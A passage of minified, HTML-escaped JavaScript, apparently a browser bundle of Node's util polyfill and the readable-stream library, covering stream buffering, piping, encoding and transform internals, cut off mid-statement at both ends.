  `)+&quot; &quot;+r[1]:r[0]+t+&quot; &quot;+e.join(&quot;, &quot;)+&quot; &quot;+r[1]}function mB(e){return Array.isArray(e)}function cE(e){return typeof e==&quot;boolean&quot;}function Sy(e){return e===null}function zq(e){return e==null}function pB(e){return typeof e==&quot;number&quot;}function By(e){return typeof e==&quot;string&quot;}function $q(e){return typeof e==&quot;symbol&quot;}function Ld(e){return e===void 0}function og(e){return Lg(e)&amp;&amp;gB(e)===&quot;[object RegExp]&quot;}function Lg(e){return typeof e==&quot;object&quot;&amp;&amp;e!==null}function x1(e){return Lg(e)&amp;&amp;gB(e)===&quot;[object Date]&quot;}function ZA(e){return Lg(e)&amp;&amp;(gB(e)===&quot;[object Error]&quot;||e instanceof Error)}function lg(e){return typeof e==&quot;function&quot;}function Tw(e){return e===null||typeof e==&quot;boolean&quot;||typeof e==&quot;number&quot;||typeof e==&quot;string&quot;||typeof e==&quot;symbol&quot;||typeof e&gt;&quot;u&quot;}function Hq(e){return Dt.isBuffer(e)}function gB(e){return Object.prototype.toString.call(e)}function xj(e){return e&lt;10?&quot;0&quot;+e.toString(10):e.toString(10)}var Cwe=[&quot;Jan&quot;,&quot;Feb&quot;,&quot;Mar&quot;,&quot;Apr&quot;,&quot;May&quot;,&quot;Jun&quot;,&quot;Jul&quot;,&quot;Aug&quot;,&quot;Sep&quot;,&quot;Oct&quot;,&quot;Nov&quot;,&quot;Dec&quot;];function Iwe(){var e=new Date,t=[xj(e.getHours()),xj(e.getMinutes()),xj(e.getSeconds())].join(&quot;:&quot;);return[e.getDate(),Cwe[e.getMonth()],t].join(&quot; &quot;)}function qq(){console.log(&quot;%s - %s&quot;,Iwe(),oE.apply(null,arguments))}function AB(e,t){if(!t||!Lg(t))return e;for(var r=Object.keys(t),n=r.length;n--;)e[r[n]]=t[r[n]];return e}function Gq(e,t){return Object.prototype.hasOwnProperty.call(e,t)}var $p=typeof Symbol&lt;&quot;u&quot;?Symbol(&quot;util.promisify.custom&quot;):void 0;function xB(e){if(typeof e!=&quot;function&quot;)throw new TypeError(&#039;The &quot;original&quot; argument must be of type Function&#039;);if($p&amp;&amp;e[$p]){var t=e[$p];if(typeof t!=&quot;function&quot;)throw new TypeError(&#039;The &quot;util.promisify.custom&quot; argument must be of type Function&#039;);return Object.defineProperty(t,$p,{value:t,enumerable:!1,writable:!1,configurable:!0}),t}function t(){for(var r,n,i=new Promise(function(l,c){r=l,n=c}),s=[],o=0;o&lt;arguments.length;o++)s.push(arguments[o]);s.push(function(l,c){l?n(l):r(c)});try{e.apply(this,s)}catch(l){n(l)}return i}return Object.setPrototypeOf(t,Object.getPrototypeOf(e)),$p&amp;&amp;Object.defineProperty(t,$p,{value:t,enumerable:!1,writable:!1,configurable:!0}),Object.defineProperties(t,Uq(e))}xB.custom=$p;function jwe(e,t){if(!e){var r=new Error(&quot;Promise was rejected with a falsy value&quot;);r.reason=e,e=r}return t(e)}function Vq(e){if(typeof e!=&quot;function&quot;)throw new TypeError(&#039;The &quot;original&quot; argument must be of type Function&#039;);function t(){for(var r=[],n=0;n&lt;arguments.length;n++)r.push(arguments[n]);var i=r.pop();if(typeof i!=&quot;function&quot;)throw new TypeError(&quot;The last argument must be of type Function&quot;);var s=this,o=function(){return i.apply(s,arguments)};e.apply(this,r).then(function(l){R0.nextTick(o.bind(null,null,l))},function(l){R0.nextTick(jwe.bind(null,l,o))})}return Object.setPrototypeOf(t,Object.getPrototypeOf(e)),Object.defineProperties(t,Uq(e)),t}var Nwe={inherits:ch,_extend:AB,log:qq,isBuffer:Hq,isPrimitive:Tw,isFunction:lg,isError:ZA,isDate:x1,isObject:Lg,isRegExp:og,isUndefined:Ld,isSymbol:$q,isString:By,isNumber:pB,isNullOrUndefined:zq,isNull:Sy,isBoolean:cE,isArray:mB,inspect:O0,deprecate:lE,format:oE,debuglog:hB,promisify:xB,callbackify:Vq},Swe=Object.freeze({__proto__:null,_extend:AB,callbackify:Vq,debuglog:hB,default:Nwe,deprecate:lE,format:oE,inherits:ch,inspect:O0,isArray:mB,isBoolean:cE,isBuffer:Hq,isDate:x1,isError:ZA,isFunction:lg,isNull:Sy,isNullOrUndefined:zq,isNumber:pB,isObject:Lg,isPrimitive:Tw,isRegExp:og,isString:By,isSymbol:$q,isUndefined:Ld,log:qq,promisify:xB});function Mg(){this.head=null,this.tail=null,this.length=0}Mg.prototype.push=function(e){var t={data:e,next:null};this.length&gt;0?this.tail.next=t:this.head=t,this.tail=t,++this.length};Mg.prototype.unshift=function(e){var t={data:e,next:this.head};this.length===0&amp;&amp;(this.tail=t),this.head=t,++this.length};Mg.prototype.shift=function(){if(this.length!==0){var e=this.head.data;return this.length===1?this.head=this.tail=null:this.head=this.head.next,--this.length,e}};Mg.prototype.clear=function(){this.head=this.tail=null,this.length=0};Mg.prototype.join=function(e){if(this.length===0)return&quot;&quot;;for(var t=this.head,r=&quot;&quot;+t.data;t=t.next;)r+=e+t.data;return r};Mg.prototype.concat=function(e){if(this.length===0)return Dt.alloc(0);if(this.length===1)return this.head.data;for(var t=Dt.allocUnsafe(e&gt;&gt;&gt;0),r=this.head,n=0;r;)r.data.copy(t,n),n+=r.data.length,r=r.next;return t};var Bwe=Dt.isEncoding||function(e){switch(e&amp;&amp;e.toLowerCase()){case&quot;hex&quot;:case&quot;utf8&quot;:case&quot;utf-8&quot;:case&quot;ascii&quot;:case&quot;binary&quot;:case&quot;base64&quot;:case&quot;ucs2&quot;:case&quot;ucs-2&quot;:case&quot;utf16le&quot;:case&quot;utf-16le&quot;:case&quot;raw&quot;:return!0;default:return!1}};function kwe(e){if(e&amp;&amp;!Bwe(e))throw new Error(&quot;Unknown encoding: &quot;+e)}function ky(e){switch(this.encoding=(e||&quot;utf8&quot;).toLowerCase().replace(/[-_]/,&quot;&quot;),kwe(e),this.encoding){case&quot;utf8&quot;:this.surrogateSize=3;break;case&quot;ucs2&quot;:case&quot;utf16le&quot;:this.surrogateSize=2,this.detectIncompleteChar=Dwe;break;case&quot;base64&quot;:this.surrogateSize=3,this.detectIncompleteChar=Twe;break;default:this.write=_we;return}this.charBuffer=new Dt(6),this.charReceived=0,this.charLength=0}ky.prototype.write=function(e){for(var t=&quot;&quot;;this.charLength;){var r=e.length&gt;=this.charLength-this.charReceived?this.charLength-this.charReceived:e.length;if(e.copy(this.charBuffer,this.charReceived,0,r),this.charReceived+=r,this.charReceived&lt;this.charLength)return&quot;&quot;;e=e.slice(r,e.length),t=this.charBuffer.slice(0,this.charLength).toString(this.encoding);var i=t.charCodeAt(t.length-1);if(i&gt;=55296&amp;&amp;i&lt;=56319){this.charLength+=this.surrogateSize,t=&quot;&quot;;continue}if(this.charReceived=this.charLength=0,e.length===0)return t;break}this.detectIncompleteChar(e);var n=e.length;this.charLength&amp;&amp;(e.copy(this.charBuffer,0,e.length-this.charReceived,n),n-=this.charReceived),t+=e.toString(this.encoding,0,n);var n=t.length-1,i=t.charCodeAt(n);if(i&gt;=55296&amp;&amp;i&lt;=56319){var s=this.surrogateSize;return this.charLength+=s,this.charReceived+=s,this.charBuffer.copy(this.charBuffer,s,0,s),e.copy(this.charBuffer,0,0,s),t.substring(0,n)}return t};ky.prototype.detectIncompleteChar=function(e){for(var t=e.length&gt;=3?3:e.length;t&gt;0;t--){var r=e[e.length-t];if(t==1&amp;&amp;r&gt;&gt;5==6){this.charLength=2;break}if(t&lt;=2&amp;&amp;r&gt;&gt;4==14){this.charLength=3;break}if(t&lt;=3&amp;&amp;r&gt;&gt;3==30){this.charLength=4;break}}this.charReceived=t};ky.prototype.end=function(e){var t=&quot;&quot;;if(e&amp;&amp;e.length&amp;&amp;(t=this.write(e)),this.charReceived){var r=this.charReceived,n=this.charBuffer,i=this.encoding;t+=n.slice(0,r).toString(i)}return t};function _we(e){return e.toString(this.encoding)}function Dwe(e){this.charReceived=e.length%2,this.charLength=this.charReceived?2:0}function Twe(e){this.charReceived=e.length%3,this.charLength=this.charReceived?3:0}fs.ReadableState=Wq;var Zi=hB(&quot;stream&quot;);ch(fs,pi);function Rwe(e,t,r){if(typeof e.prependListener==&quot;function&quot;)return e.prependListener(t,r);!e._events||!e._events[t]?e.on(t,r):Array.isArray(e._events[t])?e._events[t].unshift(r):e._events[t]=[r,e._events[t]]}function Pwe(e,t){return e.listeners(t).length}function Wq(e,t){e=e||{},this.objectMode=!!e.objectMode,t instanceof fu&amp;&amp;(this.objectMode=this.objectMode||!!e.readableObjectMode);var r=e.highWaterMark,n=this.objectMode?16:16*1024;this.highWaterMark=r||r===0?r:n,this.highWaterMark=~~this.highWaterMark,this.buffer=new Mg,this.length=0,this.pipes=null,this.pipesCount=0,this.flowing=null,this.ended=!1,this.endEmitted=!1,this.reading=!1,this.sync=!0,this.needReadable=!1,this.emittedReadable=!1,this.readableListening=!1,this.resumeScheduled=!1,this.defaultEncoding=e.defaultEncoding||&quot;utf8&quot;,this.ranOut=!1,this.awaitDrain=0,this.readingMore=!1,this.decoder=null,this.encoding=null,e.encoding&amp;&amp;(this.decoder=new ky(e.encoding),this.encoding=e.encoding)}function fs(e){if(!(this instanceof fs))return new fs(e);this._readableState=new Wq(e,this),this.readable=!0,e&amp;&amp;typeof e.read==&quot;function&quot;&amp;&amp;(this._read=e.read),pi.call(this)}fs.prototype.push=function(e,t){var r=this._readableState;return!r.objectMode&amp;&amp;typeof e==&quot;string&quot;&amp;&amp;(t=t||r.defaultEncoding,t!==r.encoding&amp;&amp;(e=Dt.from(e,t),t=&quot;&quot;)),Kq(this,r,e,t,!1)};fs.prototype.unshift=function(e){var t=this._readableState;return Kq(this,t,e,&quot;&quot;,!0)};fs.prototype.isPaused=function(){return this._readableState.flowing===!1};function Kq(e,t,r,n,i){var s=Owe(t,r);if(s)e.emit(&quot;error&quot;,s);else if(r===null)t.reading=!1,Lwe(e,t);else if(t.objectMode||r&amp;&amp;r.length&gt;0)if(t.ended&amp;&amp;!i){var o=new Error(&quot;stream.push() after EOF&quot;);e.emit(&quot;error&quot;,o)}else if(t.endEmitted&amp;&amp;i){var l=new Error(&quot;stream.unshift() after end event&quot;);e.emit(&quot;error&quot;,l)}else{var c;t.decoder&amp;&amp;!i&amp;&amp;!n&amp;&amp;(r=t.decoder.write(r),c=!t.objectMode&amp;&amp;r.length===0),i||(t.reading=!1),c||(t.flowing&amp;&amp;t.length===0&amp;&amp;!t.sync?(e.emit(&quot;data&quot;,r),e.read(0)):(t.length+=t.objectMode?1:r.length,i?t.buffer.unshift(r):t.buffer.push(r),t.needReadable&amp;&amp;uE(e))),Mwe(e,t)}else i||(t.reading=!1);return Qwe(t)}function Qwe(e){return!e.ended&amp;&amp;(e.needReadable||e.length&lt;e.highWaterMark||e.length===0)}fs.prototype.setEncoding=function(e){return this._readableState.decoder=new ky(e),this._readableState.encoding=e,this};var B9=8388608;function Fwe(e){return e&gt;=B9?e=B9:(e--,e|=e&gt;&gt;&gt;1,e|=e&gt;&gt;&gt;2,e|=e&gt;&gt;&gt;4,e|=e&gt;&gt;&gt;8,e|=e&gt;&gt;&gt;16,e++),e}function k9(e,t){return e&lt;=0||t.length===0&amp;&amp;t.ended?0:t.objectMode?1:e!==e?t.flowing&amp;&amp;t.length?t.buffer.head.data.length:t.length:(e&gt;t.highWaterMark&amp;&amp;(t.highWaterMark=Fwe(e)),e&lt;=t.length?e:t.ended?t.length:(t.needReadable=!0,0))}fs.prototype.read=function(e){Zi(&quot;read&quot;,e),e=parseInt(e,10);var t=this._readableState,r=e;if(e!==0&amp;&amp;(t.emittedReadable=!1),e===0&amp;&amp;t.needReadable&amp;&amp;(t.length&gt;=t.highWaterMark||t.ended))return Zi(&quot;read: emitReadable&quot;,t.length,t.ended),t.length===0&amp;&amp;t.ended?vj(this):uE(this),null;if(e=k9(e,t),e===0&amp;&amp;t.ended)return t.length===0&amp;&amp;vj(this),null;var n=t.needReadable;Zi(&quot;need readable&quot;,n),(t.length===0||t.length-e&lt;t.highWaterMark)&amp;&amp;(n=!0,Zi(&quot;length less than watermark&quot;,n)),t.ended||t.reading?(n=!1,Zi(&quot;reading or ended&quot;,n)):n&amp;&amp;(Zi(&quot;do read&quot;),t.reading=!0,t.sync=!0,t.length===0&amp;&amp;(t.needReadable=!0),this._read(t.highWaterMark),t.sync=!1,t.reading||(e=k9(r,t)));var i;return e&gt;0?i=Yq(e,t):i=null,i===null?(t.needReadable=!0,e=0):t.length-=e,t.length===0&amp;&amp;(t.ended||(t.needReadable=!0),r!==e&amp;&amp;t.ended&amp;&amp;vj(this)),i!==null&amp;&amp;this.emit(&quot;data&quot;,i),i};function Owe(e,t){var r=null;return!Dt.isBuffer(t)&amp;&amp;typeof t!=&quot;string&quot;&amp;&amp;t!==null&amp;&amp;t!==void 0&amp;&amp;!e.objectMode&amp;&amp;(r=new TypeError(&quot;Invalid non-string/buffer chunk&quot;)),r}function Lwe(e,t){if(!t.ended){if(t.decoder){var r=t.decoder.end();r&amp;&amp;r.length&amp;&amp;(t.buffer.push(r),t.length+=t.objectMode?1:r.length)}t.ended=!0,uE(e)}}function uE(e){var t=e._readableState;t.needReadable=!1,t.emittedReadable||(Zi(&quot;emitReadable&quot;,t.flowing),t.emittedReadable=!0,t.sync?mu(_9,e):_9(e))}function _9(e){Zi(&quot;emit readable&quot;),e.emit(&quot;readable&quot;),vB(e)}function Mwe(e,t){t.readingMore||(t.readingMore=!0,mu(Uwe,e,t))}function Uwe(e,t){for(var r=t.length;!t.reading&amp;&amp;!t.flowing&amp;&amp;!t.ended&amp;&amp;t.length&lt;t.highWaterMark&amp;&amp;(Zi(&quot;maybeReadMore read 0&quot;),e.read(0),r!==t.length);)r=t.length;t.readingMore=!1}fs.prototype._read=function(e){this.emit(&quot;error&quot;,new Error(&quot;not implemented&quot;))};fs.prototype.pipe=function(e,t){var r=this,n=this._readableState;switch(n.pipesCount){case 0:n.pipes=e;break;case 1:n.pipes=[n.pipes,e];break;default:n.pipes.push(e);break}n.pipesCount+=1,Zi(&quot;pipe count=%d opts=%j&quot;,n.pipesCount,t);var i=!t||t.end!==!1,s=i?l:u;n.endEmitted?mu(s):r.once(&quot;end&quot;,s),e.on(&quot;unpipe&quot;,o);function o(j){Zi(&quot;onunpipe&quot;),j===r&amp;&amp;u()}function l(){Zi(&quot;onend&quot;),e.end()}var c=zwe(r);e.on(&quot;drain&quot;,c);var d=!1;function u(){Zi(&quot;cleanup&quot;),e.removeListener(&quot;close&quot;,y),e.removeListener(&quot;finish&quot;,v),e.removeListener(&quot;drain&quot;,c),e.removeListener(&quot;error&quot;,A),e.removeListener(&quot;unpipe&quot;,o),r.removeListener(&quot;end&quot;,l),r.removeListener(&quot;end&quot;,u),r.removeListener(&quot;data&quot;,p),d=!0,n.awaitDrain&amp;&amp;(!e._writableState||e._writableState.needDrain)&amp;&amp;c()}var h=!1;r.on(&quot;data&quot;,p);function p(j){Zi(&quot;ondata&quot;),h=!1;var E=e.write(j);E===!1&amp;&amp;!h&amp;&amp;((n.pipesCount===1&amp;&amp;n.pipes===e||n.pipesCount&gt;1&amp;&amp;Zq(n.pipes,e)!==-1)&amp;&amp;!d&amp;&amp;(Zi(&quot;false write response, pause&quot;,r._readableState.awaitDrain),r._readableState.awaitDrain++,h=!0),r.pause())}function A(j){Zi(&quot;onerror&quot;,j),w(),e.removeListener(&quot;error&quot;,A),Pwe(e,&quot;error&quot;)===0&amp;&amp;e.emit(&quot;error&quot;,j)}Rwe(e,&quot;error&quot;,A);function y(){e.removeListener(&quot;finish&quot;,v),w()}e.once(&quot;close&quot;,y);function v(){Zi(&quot;onfinish&quot;),e.removeListener(&quot;close&quot;,y),w()}e.once(&quot;finish&quot;,v);function w(){Zi(&quot;unpipe&quot;),r.unpipe(e)}return e.emit(&quot;pipe&quot;,r),n.flowing||(Zi(&quot;pipe resume&quot;),r.resume()),e};function zwe(e){return function(){var t=e._readableState;Zi(&quot;pipeOnDrain&quot;,t.awaitDrain),t.awaitDrain&amp;&amp;t.awaitDrain--,t.awaitDrain===0&amp;&amp;e.listeners(&quot;data&quot;).length&amp;&amp;(t.flowing=!0,vB(e))}}fs.prototype.unpipe=function(e){var t=this._readableState;if(t.pipesCount===0)return this;if(t.pipesCount===1)return e&amp;&amp;e!==t.pipes?this:(e||(e=t.pipes),t.pipes=null,t.pipesCount=0,t.flowing=!1,e&amp;&amp;e.emit(&quot;unpipe&quot;,this),this);if(!e){var r=t.pipes,n=t.pipesCount;t.pipes=null,t.pipesCount=0,t.flowing=!1;for(var i=0;i&lt;n;i++)r[i].emit(&quot;unpipe&quot;,this);return this}var s=Zq(t.pipes,e);return s===-1?this:(t.pipes.splice(s,1),t.pipesCount-=1,t.pipesCount===1&amp;&amp;(t.pipes=t.pipes[0]),e.emit(&quot;unpipe&quot;,this),this)};fs.prototype.on=function(e,t){var r=pi.prototype.on.call(this,e,t);if(e===&quot;data&quot;)this._readableState.flowing!==!1&amp;&amp;this.resume();else if(e===&quot;readable&quot;){var n=this._readableState;!n.endEmitted&amp;&amp;!n.readableListening&amp;&amp;(n.readableListening=n.needReadable=!0,n.emittedReadable=!1,n.reading?n.length&amp;&amp;uE(this):mu($we,this))}return r};fs.prototype.addListener=fs.prototype.on;function $we(e){Zi(&quot;readable nexttick read 0&quot;),e.read(0)}fs.prototype.resume=function(){var e=this._readableState;return e.flowing||(Zi(&quot;resume&quot;),e.flowing=!0,Hwe(this,e)),this};function Hwe(e,t){t.resumeScheduled||(t.resumeScheduled=!0,mu(qwe,e,t))}function qwe(e,t){t.reading||(Zi(&quot;resume read 0&quot;),e.read(0)),t.resumeScheduled=!1,t.awaitDrain=0,e.emit(&quot;resume&quot;),vB(e),t.flowing&amp;&amp;!t.reading&amp;&amp;e.read(0)}fs.prototype.pause=function(){return Zi(&quot;call pause flowing=%j&quot;,this._readableState.flowing),this._readableState.flowing!==!1&amp;&amp;(Zi(&quot;pause&quot;),this._readableState.flowing=!1,this.emit(&quot;pause&quot;)),this};function vB(e){var t=e._readableState;for(Zi(&quot;flow&quot;,t.flowing);t.flowing&amp;&amp;e.read()!==null;);}fs.prototype.wrap=function(e){var t=this._readableState,r=!1,n=this;e.on(&quot;end&quot;,function(){if(Zi(&quot;wrapped end&quot;),t.decoder&amp;&amp;!t.ended){var o=t.decoder.end();o&amp;&amp;o.length&amp;&amp;n.push(o)}n.push(null)}),e.on(&quot;data&quot;,function(o){if(Zi(&quot;wrapped data&quot;),t.decoder&amp;&amp;(o=t.decoder.write(o)),!(t.objectMode&amp;&amp;o==null)&amp;&amp;!(!t.objectMode&amp;&amp;(!o||!o.length))){var l=n.push(o);l||(r=!0,e.pause())}});for(var i in e)this[i]===void 0&amp;&amp;typeof e[i]==&quot;function&quot;&amp;&amp;(this[i]=(function(o){return function(){return e[o].apply(e,arguments)}})(i));var s=[&quot;error&quot;,&quot;close&quot;,&quot;destroy&quot;,&quot;pause&quot;,&quot;resume&quot;];return Ywe(s,function(o){e.on(o,n.emit.bind(n,o))}),n._read=function(o){Zi(&quot;wrapped _read&quot;,o),r&amp;&amp;(r=!1,e.resume())},n};fs._fromList=Yq;function Yq(e,t){if(t.length===0)return null;var r;return t.objectMode?r=t.buffer.shift():!e||e&gt;=t.length?(t.decoder?r=t.buffer.join(&quot;&quot;):t.buffer.length===1?r=t.buffer.head.data:r=t.buffer.concat(t.length),t.buffer.clear()):r=Gwe(e,t.buffer,t.decoder),r}function Gwe(e,t,r){var n;return e&lt;t.head.data.length?(n=t.head.data.slice(0,e),t.head.data=t.head.data.slice(e)):e===t.head.data.length?n=t.shift():n=r?Vwe(e,t):Wwe(e,t),n}function Vwe(e,t){var r=t.head,n=1,i=r.data;for(e-=i.length;r=r.next;){var s=r.data,o=e&gt;s.length?s.length:e;if(o===s.length?i+=s:i+=s.slice(0,e),e-=o,e===0){o===s.length?(++n,r.next?t.head=r.next:t.head=t.tail=null):(t.head=r,r.data=s.slice(o));break}++n}return t.length-=n,i}function Wwe(e,t){var r=Dt.allocUnsafe(e),n=t.head,i=1;for(n.data.copy(r),e-=n.data.length;n=n.next;){var s=n.data,o=e&gt;s.length?s.length:e;if(s.copy(r,r.length-e,0,o),e-=o,e===0){o===s.length?(++i,n.next?t.head=n.next:t.head=t.tail=null):(t.head=n,n.data=s.slice(o));break}++i}return t.length-=i,r}function vj(e){var t=e._readableState;if(t.length&gt;0)throw new Error(&#039;&quot;endReadable()&quot; called on non-empty stream&#039;);t.endEmitted||(t.ended=!0,mu(Kwe,t,e))}function Kwe(e,t){!e.endEmitted&amp;&amp;e.length===0&amp;&amp;(e.endEmitted=!0,t.readable=!1,t.emit(&quot;end&quot;))}function Ywe(e,t){for(var r=0,n=e.length;r&lt;n;r++)t(e[r],r)}function Zq(e,t){for(var r=0,n=e.length;r&lt;n;r++)if(e[r]===t)return r;return-1}dl.WritableState=yB;ch(dl,pi);function Zwe(){}function Jwe(e,t,r){this.chunk=e,this.encoding=t,this.callback=r,this.next=null}function yB(e,t){Object.defineProperty(this,&quot;buffer&quot;,{get:lE(function(){return this.getBuffer()},&quot;_writableState.buffer is deprecated. Use _writableState.getBuffer instead.&quot;)}),e=e||{},this.objectMode=!!e.objectMode,t instanceof fu&amp;&amp;(this.objectMode=this.objectMode||!!e.writableObjectMode);var r=e.highWaterMark,n=this.objectMode?16:16*1024;this.highWaterMark=r||r===0?r:n,this.highWaterMark=~~this.highWaterMark,this.needDrain=!1,this.ending=!1,this.ended=!1,this.finished=!1;var i=e.decodeStrings===!1;this.decodeStrings=!i,this.defaultEncoding=e.defaultEncoding||&quot;utf8&quot;,this.length=0,this.writing=!1,this.corked=0,this.sync=!0,this.bufferProcessing=!1,this.onwrite=function(s){a4e(t,s)},this.writecb=null,this.writelen=0,this.bufferedRequest=null,this.lastBufferedRequest=null,this.pendingcb=0,this.prefinished=!1,this.errorEmitted=!1,this.bufferedRequestCount=0,this.corkedRequestsFree=new tG(this)}yB.prototype.getBuffer=function(){for(var t=this.bufferedRequest,r=[];t;)r.push(t),t=t.next;return r};function dl(e){if(!(this instanceof dl)&amp;&amp;!(this instanceof fu))return new dl(e);this._writableState=new yB(e,this),this.writable=!0,e&amp;&amp;(typeof e.write==&quot;function&quot;&amp;&amp;(this._write=e.write),typeof e.writev==&quot;function&quot;&amp;&amp;(this._writev=e.writev)),pi.call(this)}dl.prototype.pipe=function(){this.emit(&quot;error&quot;,new Error(&quot;Cannot pipe, not readable&quot;))};function Xwe(e,t){var r=new Error(&quot;write after end&quot;);e.emit(&quot;error&quot;,r),mu(t,r)}function e4e(e,t,r,n){var i=!0,s=!1;return r===null?s=new TypeError(&quot;May not write null values to stream&quot;):!Dt.isBuffer(r)&amp;&amp;typeof r!=&quot;string&quot;&amp;&amp;r!==void 0&amp;&amp;!t.objectMode&amp;&amp;(s=new TypeError(&quot;Invalid non-string/buffer chunk&quot;)),s&amp;&amp;(e.emit(&quot;error&quot;,s),mu(n,s),i=!1),i}dl.prototype.write=function(e,t,r){var n=this._writableState,i=!1;return typeof t==&quot;function&quot;&amp;&amp;(r=t,t=null),Dt.isBuffer(e)?t=&quot;buffer&quot;:t||(t=n.defaultEncoding),typeof r!=&quot;function&quot;&amp;&amp;(r=Zwe),n.ended?Xwe(this,r):e4e(this,n,e,r)&amp;&amp;(n.pendingcb++,i=r4e(this,n,e,t,r)),i};dl.prototype.cork=function(){var e=this._writableState;e.corked++};dl.prototype.uncork=function(){var e=this._writableState;e.corked&amp;&amp;(e.corked--,!e.writing&amp;&amp;!e.corked&amp;&amp;!e.finished&amp;&amp;!e.bufferProcessing&amp;&amp;e.bufferedRequest&amp;&amp;Jq(this,e))};dl.prototype.setDefaultEncoding=function(t){if(typeof t==&quot;string&quot;&amp;&amp;(t=t.toLowerCase()),!([&quot;hex&quot;,&quot;utf8&quot;,&quot;utf-8&quot;,&quot;ascii&quot;,&quot;binary&quot;,&quot;base64&quot;,&quot;ucs2&quot;,&quot;ucs-2&quot;,&quot;utf16le&quot;,&quot;utf-16le&quot;,&quot;raw&quot;].indexOf((t+&quot;&quot;).toLowerCase())&gt;-1))throw new TypeError(&quot;Unknown encoding: &quot;+t);return this._writableState.defaultEncoding=t,this};function t4e(e,t,r){return!e.objectMode&amp;&amp;e.decodeStrings!==!1&amp;&amp;typeof t==&quot;string&quot;&amp;&amp;(t=Dt.from(t,r)),t}function r4e(e,t,r,n,i){r=t4e(t,r,n),Dt.isBuffer(r)&amp;&amp;(n=&quot;buffer&quot;);var s=t.objectMode?1:r.length;t.length+=s;var o=t.length&lt;t.highWaterMark;if(o||(t.needDrain=!0),t.writing||t.corked){var l=t.lastBufferedRequest;t.lastBufferedRequest=new Jwe(r,n,i),l?l.next=t.lastBufferedRequest:t.bufferedRequest=t.lastBufferedRequest,t.bufferedRequestCount+=1}else ON(e,t,!1,s,r,n,i);return o}function ON(e,t,r,n,i,s,o){t.writelen=n,t.writecb=o,t.writing=!0,t.sync=!0,r?e._writev(i,t.onwrite):e._write(i,s,t.onwrite),t.sync=!1}function n4e(e,t,r,n,i){--t.pendingcb,r?mu(i,n):i(n),e._writableState.errorEmitted=!0,e.emit(&quot;error&quot;,n)}function i4e(e){e.writing=!1,e.writecb=null,e.length-=e.writelen,e.writelen=0}function a4e(e,t){var r=e._writableState,n=r.sync,i=r.writecb;if(i4e(r),t)n4e(e,r,n,t,i);else{var s=Xq(r);!s&amp;&amp;!r.corked&amp;&amp;!r.bufferProcessing&amp;&amp;r.bufferedRequest&amp;&amp;Jq(e,r),n?mu(D9,e,r,s,i):D9(e,r,s,i)}}function D9(e,t,r,n){r||s4e(e,t),t.pendingcb--,n(),eG(e,t)}function s4e(e,t){t.length===0&amp;&amp;t.needDrain&amp;&amp;(t.needDrain=!1,e.emit(&quot;drain&quot;))}function Jq(e,t){t.bufferProcessing=!0;var r=t.bufferedRequest;if(e._writev&amp;&amp;r&amp;&amp;r.next){var n=t.bufferedRequestCount,i=new Array(n),s=t.corkedRequestsFree;s.entry=r;for(var o=0;r;)i[o]=r,r=r.next,o+=1;ON(e,t,!0,t.length,i,&quot;&quot;,s.finish),t.pendingcb++,t.lastBufferedRequest=null,s.next?(t.corkedRequestsFree=s.next,s.next=null):t.corkedRequestsFree=new tG(t)}else{for(;r;){var l=r.chunk,c=r.encoding,d=r.callback,u=t.objectMode?1:l.length;if(ON(e,t,!1,u,l,c,d),r=r.next,t.writing)break}r===null&amp;&amp;(t.lastBufferedRequest=null)}t.bufferedRequestCount=0,t.bufferedRequest=r,t.bufferProcessing=!1}dl.prototype._write=function(e,t,r){r(new Error(&quot;not implemented&quot;))};dl.prototype._writev=null;dl.prototype.end=function(e,t,r){var n=this._writableState;typeof e==&quot;function&quot;?(r=e,e=null,t=null):typeof t==&quot;function&quot;&amp;&amp;(r=t,t=null),e!=null&amp;&amp;this.write(e,t),n.corked&amp;&amp;(n.corked=1,this.uncork()),!n.ending&amp;&amp;!n.finished&amp;&amp;o4e(this,n,r)};function Xq(e){return e.ending&amp;&amp;e.length===0&amp;&amp;e.bufferedRequest===null&amp;&amp;!e.finished&amp;&amp;!e.writing}function T9(e,t){t.prefinished||(t.prefinished=!0,e.emit(&quot;prefinish&quot;))}function eG(e,t){var r=Xq(t);return r&amp;&amp;(t.pendingcb===0?(T9(e,t),t.finished=!0,e.emit(&quot;finish&quot;)):T9(e,t)),r}function o4e(e,t,r){t.ending=!0,eG(e,t),r&amp;&amp;(t.finished?mu(r):e.once(&quot;finish&quot;,r)),t.ended=!0,e.writable=!1}function tG(e){var t=this;this.next=null,this.entry=null,this.finish=function(r){var n=t.entry;for(t.entry=null;n;){var i=n.callback;e.pendingcb--,i(r),n=n.next}e.corkedRequestsFree?e.corkedRequestsFree.next=t:e.corkedRequestsFree=t}}ch(fu,fs);var R9=Object.keys(dl.prototype);for(var yj=0;yj&lt;R9.length;yj++){var bj=R9[yj];fu.prototype[bj]||(fu.prototype[bj]=dl.prototype[bj])}function fu(e){if(!(this instanceof fu))return new fu(e);fs.call(this,e),dl.call(this,e),e&amp;&amp;e.readable===!1&amp;&amp;(this.readable=!1),e&amp;&amp;e.writable===!1&amp;&amp;(this.writable=!1),this.allowHalfOpen=!0,e&amp;&amp;e.allowHalfOpen===!1&amp;&amp;(this.allowHalfOpen=!1),this.once(&quot;end&quot;,l4e)}function l4e(){this.allowHalfOpen||this._writableState.ended||mu(c4e,this)}function c4e(e){e.end()}ch(G0,fu);function u4e(e){this.afterTransform=function(t,r){return d4e(e,t,r)},this.needTransform=!1,this.transforming=!1,this.writecb=null,this.writechunk=null,this.writeencoding=null}function d4e(e,t,r){var n=e._transformState;n.transforming=!1;var i=n.writecb;if(!i)return e.emit(&quot;error&quot;,new Error(&quot;no writecb in Transform class&quot;));n.writechunk=null,n.writecb=null,r!=null&amp;&amp;e.push(r),i(t);var s=e._readableState;s.reading=!1,(s.needReadable||s.length&lt;s.highWaterMark)&amp;&amp;e._read(s.highWaterMark)}function G0(e){if(!(this instanceof G0))return new G0(e);fu.call(this,e),this._transformState=new u4e(this);var t=this;this._readableState.needReadable=!0,this._readableState.sync=!1,e&amp;&amp;(typeof e.transform==&quot;function&quot;&amp;&amp;(this._transform=e.transform),typeof e.flush==&quot;function&quot;&amp;&amp;(this._flush=e.flush)),this.once(&quot;prefinish&quot;,function(){typeof this._flush==&quot;function&quot;?this._flush(function(r){P9(t,r)}):P9(t)})}G0.prototype.push=function(e,t){return this._transformState.needTransform=!1,fu.prototype.push.call(this,e,t)};G0.prototype._transform=function(e,t,r){throw new Error(&quot;Not implemented&quot;)};G0.prototype._write=function(e,t,r){var n=this._transformState;if(n.writecb=r,n.writechunk=e,n.writeencoding=t,!n.transforming){var 